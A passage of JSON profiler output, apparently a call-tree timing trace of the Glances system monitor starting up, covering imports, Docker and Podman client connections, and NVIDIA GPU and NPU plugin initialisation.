0.004098,\"attributes\": {\"l938\": 0.004098031000467017},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.004098,\"attributes\": {\"cSourceFileLoader\": 0.004098031000467017, \"l762\": 0.004098031000467017},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.004098,\"attributes\": {\"l491\": 0.004098031000467017},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/panel.py\\u00001\",\"time\": 0.001999,\"attributes\": {\"l8\": 0.0019992919987998903},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001999,\"attributes\": {\"l1371\": 0.0019992919987998903},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001999,\"attributes\": {\"l1342\": 0.0019992919987998903},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001999,\"attributes\": {\"l938\": 0.0019992919987998903},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001999,\"attributes\": {\"cSourceFileLoader\": 0.0019992919987998903, \"l758\": 0.0019992919987998903},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cSourceFileLoader\": 0.0019992919987998903, \"l843\": 0.0019992919987998903},\"children\": [{\"identifier\": \"cache_from_source\\u0000<frozen importlib._bootstrap_external>\\u0000243\",\"time\": 0.001999,\"attributes\": {\"l310\": 0.0019992919987998903},\"children\": [{\"identifier\": \"_path_join\\u0000<frozen importlib._bootstrap_external>\\u0000131\",\"time\": 0.001999,\"attributes\": {\"l133\": 0.0019992919987998903},\"children\": [{\"identifier\": \"str.rstrip\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/table.py\\u00001\",\"time\": 0.002099,\"attributes\": {\"l153\": 0.002098739001667127},\"children\": [{\"identifier\": \"Table\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/rich/table.py\\u0000153\",\"time\": 0.002099,\"attributes\": {\"l358\": 0.002098739001667127},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002099,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.003020,\"attributes\": {\"cSourceFileLoader\": 0.0030204559952835552, \"l891\": 0.0030204559952835552},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.003020,\"attributes\": {\"l514\": 0.0030204559952835552},\"children\": [{\"identifier\": \"loads\\u0000<built-in>\\u00000\",\"time\": 0.003020,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003020,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"__new__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u00002951\",\"time\": 0.001897,\"attributes\": {\"cNamedTupleMeta\": 0.0018970279998029582, \"l3002\": 0.0018970279998029582},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001897,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002044,\"attributes\": {\"cSourceFileLoader\": 0.0020437019993551075, \"l891\": 0.0020437019993551075},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.002044,\"attributes\": {\"l515\": 0.0020437019993551075},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002044,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000142\",\"time\": 0.008941,\"attributes\": {\"cContainersPlugin\": 0.008941333006077912, \"l161\": 0.007004896004218608, \"l165\": 0.0019364370018593036},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000215\",\"time\": 0.007005,\"attributes\": {\"cDockerExtension\": 0.007004896004218608, \"l226\": 0.007004896004218608},\"children\": [{\"identifier\": \"connect\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000228\",\"time\": 0.007005,\"attributes\": {\"cDockerExtension\": 0.007004896004218608, \"l233\": 0.007004896004218608},\"children\": [{\"identifier\": \"from_env\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/client.py\\u000047\",\"time\": 0.007005,\"attributes\": {\"cDockerClient\": 0.007004896004218608, \"l94\": 0.007004896004218608},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/client.py\\u000044\",\"time\": 0.007005,\"attributes\": {\"cDockerClient\": 0.007004896004218608, \"l45\": 0.007004896004218608},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000115\",\"time\": 0.007005,\"attributes\": {\"cAPIClient\": 0.007004896004218608, \"l207\": 0.007004896004218608},\"children\": [{\"identifier\": \"_retrieve_server_version\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000221\",\"time\": 0.007005,\"attributes\": {\"cAPIClient\": 0.007004896004218608, \"l223\": 0.007004896004218608},\"children\": [{\"identifier\": \"version\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/daemon.py\\u0000168\",\"time\": 0.007005,\"attributes\": {\"cAPIClient\": 0.007004896004218608, \"l181\": 0.007004896004218608},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.007005,\"attributes\": {\"cAPIClient\": 0.007004896004218608, \"l44\": 0.007004896004218608},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.007005,\"attributes\": {\"cAPIClient\": 0.007004896004218608, \"l246\": 0.007004896004218608},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.007005,\"attributes\": {\"cAPIClient\": 0.007004896004218608, \"l602\": 0.007004896004218608},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.007005,\"attributes\": {\"cAPIClient\": 0.007004896004218608, \"l579\": 0.0019445630023255944, \"l589\": 0.005060333001893014},\"children\": [{\"identifier\": \"merge_environment_settings\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000750\",\"time\": 0.001945,\"attributes\": {\"cAPIClient\": 0.0019445630023255944, \"l760\": 0.0019445630023255944},\"children\": [{\"identifier\": \"get_environ_proxies\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/utils.py\\u0000816\",\"time\": 0.001945,\"attributes\": {\"l822\": 0.0019445630023255944},\"children\": [{\"identifier\": \"should_bypass_proxies\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/utils.py\\u0000755\",\"time\": 0.001945,\"attributes\": {\"l806\": 0.0019445630023255944},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001945,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.005060,\"attributes\": {\"cAPIClient\": 0.005060333001893014, \"l703\": 0.005060333001893014},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.005060,\"attributes\": {\"cUnixHTTPAdapter\": 0.005060333001893014, \"l644\": 0.005060333001893014},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.005060,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.005060333001893014, \"l787\": 0.005060333001893014},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.005060,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.005060333001893014, \"l534\": 0.005060333001893014},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.005060,\"attributes\": {\"cUnixHTTPConnection\": 0.005060333001893014, \"l571\": 0.005060333001893014},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.005060,\"attributes\": {\"cUnixHTTPConnection\": 0.005060333001893014, \"l1430\": 0.005060333001893014},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.005060,\"attributes\": {\"cHTTPResponse\": 0.005060333001893014, \"l331\": 0.005060333001893014},\"children\": [{\"identifier\": \"_read_status\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000291\",\"time\": 0.005060,\"attributes\": {\"cHTTPResponse\": 0.005060333001893014, \"l292\": 0.005060333001893014},\"children\": [{\"identifier\": \"readinto\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/socket.py\\u0000712\",\"time\": 0.005060,\"attributes\": {\"cSocketIO\": 0.005060333001893014, \"l725\": 0.005060333001893014},\"children\": [{\"identifier\": \"socket.recv_into\\u0000<built-in>\\u00000\",\"time\": 0.005060,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005060,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/podman.py\\u0000258\",\"time\": 0.001936,\"attributes\": {\"cPodmanExtension\": 0.0019364370018593036, \"l271\": 0.0019364370018593036},\"children\": [{\"identifier\": \"connect\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/podman.py\\u0000273\",\"time\": 0.001936,\"attributes\": {\"cPodmanExtension\": 0.0019364370018593036, \"l278\": 0.0019364370018593036},\"children\": [{\"identifier\": \"ping\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/podman/client.py\\u0000205\",\"time\": 0.001936,\"attributes\": {\"cPodmanClient\": 0.0019364370018593036, \"l206\": 0.0019364370018593036},\"children\": [{\"identifier\": \"ping\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/podman/domain/system.py\\u000089\",\"time\": 0.001936,\"attributes\": {\"cSystemManager\": 0.0019364370018593036, \"l91\": 0.0019364370018593036},\"children\": [{\"identifier\": \"head\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/podman/api/client.py\\u0000279\",\"time\": 0.001936,\"attributes\": {\"cAPIClient\": 0.0019364370018593036, \"l304\": 0.0019364370018593036},\"children\": [{\"identifier\": \"_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/podman/api/client.py\\u0000391\",\"time\": 0.001936,\"attributes\": {\"cAPIClient\": 0.0019364370018593036, \"l443\": 0.0019364370018593036},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.001936,\"attributes\": {\"cAPIClient\": 0.0019364370018593036, \"l589\": 0.0019364370018593036},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.001936,\"attributes\": {\"cAPIClient\": 0.0019364370018593036, \"l703\": 0.0019364370018593036},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.001936,\"attributes\": {\"cUDSAdapter\": 0.0019364370018593036, \"l644\": 0.0019364370018593036},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.001936,\"attributes\": {\"cUDSConnectionPool\": 0.0019364370018593036, \"l787\": 0.0019364370018593036},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.001936,\"attributes\": {\"cUDSConnectionPool\": 0.0019364370018593036, \"l493\": 0.0019364370018593036},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000424\",\"time\": 0.001936,\"attributes\": {\"cUDSConnection\": 0.0019364370018593036, \"l500\": 0.0019364370018593036},\"children\": [{\"identifier\": \"endheaders\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001322\",\"time\": 0.001936,\"attributes\": {\"cUDSConnection\": 0.0019364370018593036, \"l1333\": 0.0019364370018593036},\"children\": [{\"identifier\": \"_send_output\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001084\",\"time\": 0.001936,\"attributes\": {\"cUDSConnection\": 0.0019364370018593036, \"l1093\": 0.0019364370018593036},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001029\",\"time\": 0.001936,\"attributes\": {\"cUDSConnection\": 0.0019364370018593036, \"l1037\": 0.0019364370018593036},\"children\": [{\"identifier\": \"connect\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/podman/api/uds.py\\u000082\",\"time\": 0.001936,\"attributes\": {\"cUDSConnection\": 0.0019364370018593036, \"l86\": 0.0019364370018593036},\"children\": [{\"identifier\": \"connect\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/podman/api/uds.py\\u000037\",\"time\": 0.001936,\"attributes\": {\"cUDSSocket\": 0.0019364370018593036, \"l39\": 0.0019364370018593036},\"children\": [{\"identifier\": \"unquote\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000716\",\"time\": 0.001936,\"attributes\": {\"l736\": 0.0019364370018593036},\"children\": [{\"identifier\": \"_generate_unquoted_parts\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000706\",\"time\": 0.001936,\"attributes\": {\"l712\": 0.0019364370018593036},\"children\": [{\"identifier\": \"_unquote_impl\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000675\",\"time\": 0.001936,\"attributes\": {\"l693\": 0.0019364370018593036},\"children\": [{\"identifier\": \"str.encode\\u0000<built-in>\\u00000\",\"time\": 0.001936,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001936,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"import_module\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/__init__.py\\u000071\",\"time\": 0.010006,\"attributes\": {\"l88\": 0.010005513999203686},\"children\": [{\"identifier\": \"_gcd_import\\u0000<frozen importlib._bootstrap>\\u00001386\",\"time\": 0.010006,\"attributes\": {\"l1398\": 0.010005513999203686},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.010006,\"attributes\": {\"l1371\": 0.010005513999203686},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.010006,\"attributes\": {\"l1342\": 0.010005513999203686},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.010006,\"attributes\": {\"l938\": 0.010005513999203686},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.010006,\"attributes\": {\"cSourceFileLoader\": 0.010005513999203686, \"l762\": 0.010005513999203686},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.010006,\"attributes\": {\"l491\": 0.010005513999203686},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/__init__.py\\u00001\",\"time\": 0.010006,\"attributes\": {\"l24\": 0.0020002029996248893, \"l26\": 0.008005310999578796},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.010006,\"attributes\": {\"l1371\": 0.010005513999203686},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.010006,\"attributes\": {\"l1314\": 0.0020002029996248893, \"l1342\": 0.008005310999578796},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002000,\"attributes\": {\"l491\": 0.0020002029996248893},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002000,\"attributes\": {\"l1371\": 0.0020002029996248893},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002000,\"attributes\": {\"l1333\": 0.0020002029996248893},\"children\": [{\"identifier\": \"_find_spec\\u0000<frozen importlib._bootstrap>\\u00001243\",\"time\": 0.002000,\"attributes\": {\"l1267\": 0.0020002029996248893},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001287\",\"time\": 0.002000,\"attributes\": {\"cPathFinder\": 0.0020002029996248893, \"l1295\": 0.0020002029996248893},\"children\": [{\"identifier\": \"_get_spec\\u0000<frozen importlib._bootstrap_external>\\u00001258\",\"time\": 0.002000,\"attributes\": {\"cPathFinder\": 0.0020002029996248893, \"l1267\": 0.0020002029996248893},\"children\": [{\"identifier\": \"_path_importer_cache\\u0000<frozen importlib._bootstrap_external>\\u00001236\",\"time\": 0.002000,\"attributes\": {\"cPathFinder\": 0.0020002029996248893, \"l1254\": 0.0020002029996248893},\"children\": [{\"identifier\": \"_path_hooks\\u0000<frozen importlib._bootstrap_external>\\u00001223\",\"time\": 0.002000,\"attributes\": {\"l1230\": 0.0020002029996248893},\"children\": [{\"identifier\": \"path_hook_for_FileFinder\\u0000<frozen importlib._bootstrap_external>\\u00001452\",\"time\": 0.002000,\"attributes\": {\"l1454\": 0.0020002029996248893},\"children\": [{\"identifier\": \"_path_isdir\\u0000<frozen importlib._bootstrap_external>\\u0000169\",\"time\": 0.002000,\"attributes\": {\"l173\": 0.0020002029996248893},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.008005,\"attributes\": {\"l938\": 0.008005310999578796},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.008005,\"attributes\": {\"cSourceFileLoader\": 0.008005310999578796, \"l762\": 0.008005310999578796},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.008005,\"attributes\": {\"l491\": 0.008005310999578796},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/cards/nvidia.py\\u00001\",\"time\": 0.008005,\"attributes\": {\"l29\": 0.002042426996922586, \"l30\": 0.00596288400265621},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/ctypes/__init__.py\\u0000415\",\"time\": 0.002042,\"attributes\": {\"cCDLL\": 0.002042426996922586, \"l462\": 0.002042426996922586},\"children\": [{\"identifier\": \"dlopen\\u0000<built-in>\\u00000\",\"time\": 0.002042,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002042,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.005963,\"attributes\": {\"l1371\": 0.00596288400265621},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.005963,\"attributes\": {\"l1342\": 0.00596288400265621},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.005963,\"attributes\": {\"l938\": 0.00596288400265621},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.005963,\"attributes\": {\"cSourceFileLoader\": 0.00596288400265621, \"l762\": 0.00596288400265621},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.005963,\"attributes\": {\"l491\": 0.00596288400265621},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pynvml.py\\u00001\",\"time\": 0.005963,\"attributes\": {\"l33\": 0.0019608489965321496, \"l1770\": 0.0019941690043197013, \"l2501\": 0.0020078660018043593},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001961,\"attributes\": {\"l1371\": 0.0019608489965321496},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001961,\"attributes\": {\"l1342\": 0.0019608489965321496},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001961,\"attributes\": {\"l938\": 0.0019608489965321496},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001961,\"attributes\": {\"cSourceFileLoader\": 0.0019608489965321496, \"l762\": 0.0019608489965321496},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001961,\"attributes\": {\"l491\": 0.0019608489965321496},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/ctypes/util.py\\u00001\",\"time\": 0.001961,\"attributes\": {\"l463\": 0.0019608489965321496},\"children\": [{\"identifier\": \"POINTER\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/ctypes/__init__.py\\u0000269\",\"time\": 0.001961,\"attributes\": {\"cpy_object\": 0.0019608489965321496, \"l293\": 0.0019608489965321496},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001961,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"get_layout\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/ctypes/_layout.py\\u000042\",\"time\": 0.001994,\"attributes\": {\"cc_nvmlGridLicensableFeatures_v2_t\": 0.0019941690043197013, \"l280\": 0.0019941690043197013},\"children\": [{\"identifier\": \"list.append\\u0000<built-in>\\u00000\",\"time\": 0.001994,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002008,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/__init__.py\\u000074\",\"time\": 0.006857,\"attributes\": {\"cGpuPlugin\": 0.006856552994577214, \"l76\": 0.0019979930002591573, \"l85\": 0.004858559994318057},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u000059\",\"time\": 0.001998,\"attributes\": {\"cGpuPlugin\": 0.0019979930002591573, \"l104\": 0.0019979930002591573},\"children\": [{\"identifier\": \"init_stats_history\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000331\",\"time\": 0.001998,\"attributes\": {\"cGpuPlugin\": 0.0019979930002591573, \"l333\": 0.0019979930002591573},\"children\": [{\"identifier\": \"history_enable\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000328\",\"time\": 0.001998,\"attributes\": {\"cGpuPlugin\": 0.0019979930002591573, \"l329\": 0.0019979930002591573},\"children\": [{\"identifier\": \"get_items_history_list\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000378\",\"time\": 0.001998,\"attributes\": {\"cGpuPlugin\": 0.0019979930002591573, \"l380\": 0.0019979930002591573},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/cards/nvidia.py\\u000046\",\"time\": 0.004859,\"attributes\": {\"cNvidiaGPU\": 0.004858559994318057, \"l52\": 0.004858559994318057},\"children\": [{\"identifier\": \"nvmlInit\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pynvml.py\\u00002881\",\"time\": 0.004859,\"attributes\": {\"l2882\": 0.004858559994318057},\"children\": [{\"identifier\": \"nvmlInitWithFlags\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pynvml.py\\u00002864\",\"time\": 0.004859,\"attributes\": {\"l2872\": 0.004858559994318057},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.004859,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"import_module\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/__init__.py\\u000071\",\"time\": 0.017137,\"attributes\": {\"l88\": 0.01713735300290864},\"children\": [{\"identifier\": \"_gcd_import\\u0000<frozen importlib._bootstrap>\\u00001386\",\"time\": 0.017137,\"attributes\": {\"l1398\": 0.01713735300290864},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.017137,\"attributes\": {\"l1371\": 0.01713735300290864},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.017137,\"attributes\": {\"l1342\": 0.015166410004894715, \"l1333\": 0.001970942998013925},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.005167,\"attributes\": {\"l938\": 0.005167112001799978},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.005167,\"attributes\": {\"cSourceFileLoader\": 0.005167112001799978, \"l762\": 0.005167112001799978},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.005167,\"attributes\": {\"l491\": 0.005167112001799978},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/npu/__init__.py\\u00001\",\"time\": 0.005167,\"attributes\": {\"l18\": 0.005167112001799978},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.005167,\"attributes\": {\"l1368\": 0.005167112001799978},\"children\": [{\"identifier\": \"__enter__\\u0000<frozen importlib._bootstrap>\\u0000419\",\"time\": 0.005167,\"attributes\": {\"c_ModuleLockManager\": 0.005167112001799978, \"l421\": 0.005167112001799978},\"children\": [{\"identifier\": \"acquire\\u0000<frozen importlib._bootstrap>\\u0000304\",\"time\": 0.005167,\"attributes\": {\"c_ModuleLock\": 0.005167112001799978, \"l311\": 0.005167112001799978},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.005167,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"_find_spec\\u0000<frozen importlib._bootstrap>\\u00001243\",\"time\": 0.001971,\"attributes\": {\"l1267\": 0.001970942998013925},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen 